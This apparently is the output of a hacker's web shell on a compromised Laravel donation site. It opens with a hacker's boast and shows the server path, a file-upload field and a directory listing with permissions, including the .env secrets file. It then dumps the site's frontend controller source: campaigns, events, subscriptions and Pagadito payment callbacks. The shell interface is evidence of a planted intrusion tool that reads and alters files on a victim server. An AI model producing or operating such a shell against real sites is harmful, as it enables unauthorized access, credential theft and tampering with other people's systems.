I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
site_title ?? "Home"; $section_slug = Str::slug(SiteSectionConst::HOME_BANNER); $homeBanner = SiteSections::getData( $section_slug)->first(); $campaigns = Campaign::getData(1)->orderBy('id','desc')->take(3)->get(); $recent_events = Event::with('category:id,name')->where('status', 1)->orderBy('id', 'desc')->limit(2)->get(); $section_slug = Str::slug(SiteSectionConst::EVENT_SECTION); $event_head_data = SiteSections::getData($section_slug)->first(); $gallety_slug = Str::slug(SiteSectionConst::GALLERY_SCTION); $gallery = SiteSections::getData($gallety_slug)->first(); return view('frontend.index',compact( 'page_title', 'homeBanner', 'campaigns', 'recent_events', 'event_head_data', 'gallery', )); } public function about(){ $page_title = __('About'); $sub_page_title = "About Foundation"; $section_slug = Str::slug(SiteSectionConst::ABOUT_SECTION); $about = SiteSections::getData( $section_slug)->first(); return view('frontend.about',compact('page_title','sub_page_title','about')); } public function campaign(){ $page_title = __('Campaigns'); $sub_page_title = "Campaign Listing"; $campaigns = Campaign::getData(1)->orderBy('id', 'desc')->where('status', 1)->get(); return view('frontend.campaign',compact('page_title','sub_page_title','campaigns')); } public function campaignDetails($id,$slug){ $page_title = __('Campaign Details'); $sub_page_title = "Campaign"; $campaign_id = $id; $campaign_slug = $slug; $campaign = Campaign::findOrFail($id); // dd($campaign->image); // $campaign->otherImages = "http://health-innovation-1.vhost/storage/2/product/image/1220399555.png,http://health-innovation-1.vhost/storage/2/product/image/1220399555.png"; $campaign->otherImages = explode(',', $campaign->other_images_url); $images = Arr::prepend($campaign->otherImages, $campaign->image); $socialMedia = CampaignSocialDetail::where('campaign_id', $campaign->id)->get(); $payment_gateways_currencies = PaymentGatewayCurrency::whereHas('gateway', function ($gateway) { $gateway->where('slug', PaymentGatewayConst::add_money_slug()); $gateway->where('status', 1); })->get(); return view('frontend.campaignDeatils',compact( 'page_title', 'sub_page_title', 'campaign', 'payment_gateways_currencies', 'campaign_id', 'campaign_slug', 'socialMedia', 'images', )); } public function gallery(){ $page_title = __('Gallery'); $sub_page_title = __("Our Gallery"); return view('frontend.gallery',compact('page_title','sub_page_title')); } public function events(){ $page_title = __('Events'); $sub_page_title = "Recent Events"; $recent_events = Event::with('category:id,name')->where('status', 1)->orderBy('id', 'desc')->limit(3)->get(); $events = Event::with('category')->where('status', 1)->paginate(); $categories = CategoryType::active()->with('events')->where('type', 2)->orderBy('id','desc')->get(); return view('frontend.events',compact( 'page_title', 'sub_page_title', 'events', 'recent_events', 'categories' )); } public function eventsDetails($id,$slug){ $page_title = __('Event Details'); $sub_page_title = "Event"; $recent_events = Event::with('category:id,name')->where('status', 1)->orderBy('id', 'desc')->limit(3)->get(); $categories = CategoryType::with('events')->where('type', 2)->orderBy('id','desc')->get(); $event = Event::with('category')->findOrFail($id); return view('frontend.eventsDeatils',compact( 'page_title', 'sub_page_title', 'event', 'recent_events', 'categories' )); } public function contact(){ $page_title = __('Contact'); $sub_page_title = "Get In Touch"; $data = SiteSections::getData('contact')->first(); return view('frontend.contact',compact('page_title','sub_page_title', 'data')); } public function downloadApp(){ $page_title = __('Download App'); $sub_page_title = "Download App"; return view('frontend.downloadApp',compact('page_title','sub_page_title')); } public function pageView($slug){ $defualt = get_default_language_code()??'en'; $page = SetupPage::where('slug', $slug)->where('status', 1)->first(); if(empty($page)){ abort(404); } $page_title = $page->title->language->$defualt->title; $sub_page_title = $page->title->language->$defualt->title; return view('frontend.page',compact('page_title','sub_page_title', 'page')); } public function faq(){ $page_title = __('FAQ'); $sub_page_title = "Ask Question"; $allFaq = FaqSection::where('status',1)->orderBy('id',"DESC")->get(); $faqCategories = CategoryType::where('type',1)->where('status', 1)->orderBy('id',"ASC")->get(); // $numberOfFaqByCat = FaqSection::where('status',1)->orderBy('id',"DESC")->get()->map(function($faq){ // $categories = CategoryType::where('id',$faq->category_id)->where('type',1)->orderBy('id',"ASC")->get(); // return $categories // }); return view('frontend.faq',compact('page_title','sub_page_title','allFaq','faqCategories')); } /** * This method for store subscriber * @method POST * @return Illuminate\Http\Request Response * @param Illuminate\Http\Request $request */ public function subscriber(Request $request){ if($request->ajax()){ $validator = Validator::make($request->all(),[ 'email' => 'email|unique:subscribers,email' ]); if($validator->stopOnFirstFailure()->fails()){ $error = ['errors' => $validator->errors()]; return Response::error($error, null, 404); } $validated = $validator->safe()->all(); try{ Subscriber::create($validated); }catch(Exception $e) { $error = ['error' => [__('Something went wrong! Please try again')]]; return Response::error($error,null,500); } $success = ['success' => [__('Your email added to our newsletter')]]; return Response::success($success,null,200); } } /** * This method for store subscriber * @method POST * @return Illuminate\Http\Request Response * @param Illuminate\Http\Request $request */ public function contactStore(Request $request){ if($request->ajax()){ $validator = Validator::make($request->all(), [ 'name' => 'required|string', 'email' => 'required|email', 'mobile' => 'required', 'subject' => 'required|string', 'message' => 'required|string', ]); if($validator->stopOnFirstFailure()->fails()){ $error = ['errors' => $validator->errors()]; return Response::error($error, null, 500); } $validated = $validator->safe()->all(); try { Contact::create($validated); } catch (\Exception $th) { $error = ['error' => __('Something went wrong! Please try again')]; return Response::error($error, null, 500); } $success = ['success' => [__('Your message submitted')]]; return Response::success($success,null,200); } } public function cookieAccept(){ session()->put('cookie_accepted',true); return response()->json(__('Cookie allow successfully')); } public function cookieDecline(){ session()->put('cookie_decline',true); return response()->json(__('Cookie decline successfully')); } public function languageSwitch(Request $request) { $code = $request->target; $language = Language::where("code",$code); if(!$language->exists()) { return back()->with(['error' => [__('Oops! Language not found')]]); } Session::put('local',$code); return back()->with(['success' => [__('Language switch successfully')]]); } public function pagaditoSuccess(){ $request_data = request()->all(); //if payment is successful $token = $request_data['param1']; $checkTempData = TemporaryData::where("type",PaymentGatewayConst::PAGADITO)->where("identifier",$token)->first(); if($checkTempData->data->env_type == 'web'){ if($checkTempData->data->payment_type == PaymentGatewayConst::TYPEADDMONEY){ if(!$checkTempData) return redirect()->route('user.add.money.index')->with(['error' => [__('Transaction Failed. Record didn\'t saved properly. Please try again')]]); $checkTempData = $checkTempData->toArray(); try{ PaymentGatewayHelper::init($checkTempData)->type(PaymentGatewayConst::TYPEADDMONEY)->responseReceive('pagadito'); }catch(Exception $e) { return back()->with(['error' => [$e->getMessage()]]); } return redirect()->route("user.add.money.index")->with(['success' => [__('Successfully added money')]]); }else{ if(!$checkTempData) return redirect()->route('campaign')->with(['error' => [__('Transaction Failed. Record didn\'t saved properly. Please try again')]]); $checkTempData = $checkTempData->toArray(); try{ PaymentGatewayHelper::init($checkTempData)->type(PaymentGatewayConst::TYPEDONATION)->responseReceive('pagadito'); }catch(Exception $e) { return back()->with(['error' => [$e->getMessage()]]); } $campaign = Campaign::find($checkTempData['data']->campaign_id); return redirect()->route('campaign.details', [$campaign->id, $campaign->slug])->with(['success' => [__('Successfully donation')]]); } }elseif($checkTempData->data->env_type == 'api'){ if(!$checkTempData) { $message = ['error' => [__('Transaction Failed. Record didn\'t saved properly. Please try again')]]; return ApiResponse::error($message); } $checkTempData = $checkTempData->toArray(); if($checkTempData['data']->payment_type == PaymentGatewayConst::TYPEADDMONEY){ try{ PaymentGatewayApi::init($checkTempData)->type(PaymentGatewayConst::TYPEADDMONEY)->responseReceive('pagadito'); }catch(Exception $e) { $message = ['error' => [$e->getMessage()]]; ApiResponse::error($message); } }else{ try{ PaymentGatewayApi::init($checkTempData)->type(PaymentGatewayConst::TYPEDONATION)->responseReceive('pagadito'); }catch(Exception $e) { $message = ['error' => [$e->getMessage()]]; ApiResponse::error($message); } } $message = ['success' => [__("Payment Successful, Please Go Back Your App")]]; return ApiResponse::onlySuccess($message); }else{ $message = ['error' => [__('Payment Failed,Please Contact With Owner')]]; ApiResponse::error($message); } } }